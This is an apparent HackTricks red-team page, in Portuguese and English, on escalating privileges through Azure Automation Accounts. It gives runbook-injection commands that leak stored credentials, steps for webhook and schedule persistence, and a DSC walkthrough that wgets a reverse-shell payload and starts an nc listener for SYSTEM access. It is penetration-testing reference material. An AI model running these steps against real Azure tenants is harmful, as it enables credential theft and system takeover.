Az - Azure Automation Accounts Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Azure Automation Accounts

Fore more information check:

Az - Automation Accounts

Hybrid Workers Group

  • Do Automation Account para a VM

Lembre-se que, se por algum meio um atacante conseguir executar um runbook arbitrário (código arbitrário) em um hybrid worker, ele irá pivot to the location of the VM. Isso pode ser uma máquina on-premise, uma VPC de uma nuvem diferente ou até mesmo uma Azure VM.

Além disso, se o hybrid worker estiver executando em Azure com outras Managed Identities anexadas, o runbook poderá acessar a managed identity of the runbook and all the managed identities of the VM from the metadata service.

Tip

Lembre-se que o metadata service tem uma URL diferente (http://169.254.169.254) do que o serviço de onde se obtém o token das Managed Identities da Automation Account (IDENTITY_ENDPOINT).

  • Da VM para a Automation Account

Além disso, se alguém comprometer uma VM onde um script da Automation Account esteja em execução, poderá localizar os metadados da Automation Account e acessá-los da VM para obter tokens das Managed Identities anexadas à Automation Account.

Como é possível ver na imagem seguinte, tendo acesso de Administrator à VM é possível encontrar nas environment variables of the process a URL e um secret para acessar o automation account metadata service:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

Em resumo, essas permissões permitem create, modify and run Runbooks na Automation Account, que podem ser usados para execute code no contexto da Automation Account e escalar privilégios para as Managed Identities atribuídas, além de leak credentials e encrypted variables armazenadas na Automation Account.

A permissão Microsoft.Automation/automationAccounts/runbooks/draft/write permite modificar o código de um Runbook na Automation Account usando:

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Observe como o script anterior pode ser usado para leak o username e o password de uma credencial e o valor de uma variável criptografada armazenada no Automation Account.

A permissão Microsoft.Automation/automationAccounts/runbooks/publish/action permite ao usuário publicar um Runbook na Automation Account para que as alterações sejam aplicadas:

az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

A permissão Microsoft.Automation/automationAccounts/jobs/write permite que o usuário execute um Runbook na Automation Account usando:

az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

A permissão Microsoft.Automation/automationAccounts/jobs/output/read permite que o usuário leia a saída de um job na Automation Account usando:

az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Se não houver Runbooks criados, ou se você quiser criar um novo, você precisará das permissões Microsoft.Resources/subscriptions/resourcegroups/read e Microsoft.Automation/automationAccounts/runbooks/write para fazê-lo usando:

az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Esta permissão permite ao usuário assign a user managed identity no Automation Account usando:

az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Com a permissão Microsoft.Automation/automationAccounts/schedules/write é possível criar um novo Schedule na Automation Account que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.

Observe que o intervalo mínimo para um Schedule é de 15 minutos, e o início mínimo deve ser pelo menos 5 minutos no futuro.

## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Então, com a permissão Microsoft.Automation/automationAccounts/jobSchedules/write é possível atribuir um Scheduler a um runbook usando:

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

Tip

No exemplo anterior o jobchedule id foi deixado como b510808a-8fdc-4509-a115-12cfc3a2ad0d as exmple mas você precisará usar um valor arbitrário para criar essa atribuição.

Microsoft.Automation/automationAccounts/webhooks/write

Com a permissão Microsoft.Automation/automationAccounts/webhooks/write é possível criar um novo Webhook para um Runbook dentro de uma Automation Account usando um dos seguintes comandos.

Com Azure Powershell:

New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Com AzureCLI e REST:

az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'

Esses comandos devem retornar um webhook URI, que é exibido apenas no momento da criação. Em seguida, para chamar o runbook usando o webhook URI

curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Apenas com a permissão Microsoft.Automation/automationAccounts/runbooks/draft/write é possível atualizar o código de um Runbook sem publicá-lo e executá-lo usando os seguintes comandos.

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Esta permissão permite que o usuário configurar um controle de versão para o Automation Account usando comandos como os seguintes (este exemplo usa o Github):

az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Isso importará automaticamente os runbooks do repositório do Github para a Automation Account e, com mais algumas permissões para começar a executá-los, seria possível escalar privilégios.

Além disso, lembre-se de que, para que source control funcione em Automation Accounts, ele deve ter uma managed identity com a role Contributor e, se for uma user managed identity, o client id da MI deve ser especificado na variável AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

Tip

Note que não é possível alterar a URL do repositório de um source control depois que ele é criado.

Microsoft.Automation/automationAccounts/variables/write

Com a permissão Microsoft.Automation/automationAccounts/variables/write é possível gravar variáveis na Automation Account usando o seguinte comando.

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Ambientes de Runtime Customizados

Se uma automation account estiver usando um custom runtime environment, pode ser possível sobrescrever um pacote customizado do runtime com código malicioso (como um backdoor). Dessa forma, sempre que um runbook usando esse custom runtime for executado e carregar o pacote customizado, o código malicioso será executado.

Comprometendo a Desired State Configuration

Confira o post completo em: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Step 1 — Create Files

Files Required: São necessários dois scripts PowerShell:

  1. reverse_shell_config.ps1: Um arquivo Desired State Configuration (DSC) que busca e executa o payload. Pode ser obtido em GitHub.
  2. push_reverse_shell_config.ps1: Um script para publicar a configuração na VM, disponível em GitHub.

Customization: Variáveis e parâmetros nesses arquivos devem ser ajustados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.

  • Step 2 — Zip Configuration File

O reverse_shell_config.ps1 é compactado em um arquivo .zip, ficando pronto para transferência para a Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Passo 3 — Definir Storage Context & Upload

O arquivo de configuração compactado é enviado para um container predefinido do Azure Storage, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Passo 4 — Prep Kali Box

O servidor Kali baixa o payload RevPS.ps1 de um repositório GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

O script é editado para especificar a Windows VM alvo e a porta para o reverse shell.

  • Step 5 — Publicar arquivo de configuração

O arquivo de configuração é executado, resultando na implantação do reverse-shell script no local especificado na Windows VM.

  • Step 6 — Hospedar o payload e configurar o listener

Um Python SimpleHTTPServer é iniciado para hospedar o payload, juntamente com um Netcat listener para capturar conexões recebidas.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

A tarefa agendada executa o payload, obtendo privilégios em nível de SYSTEM.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks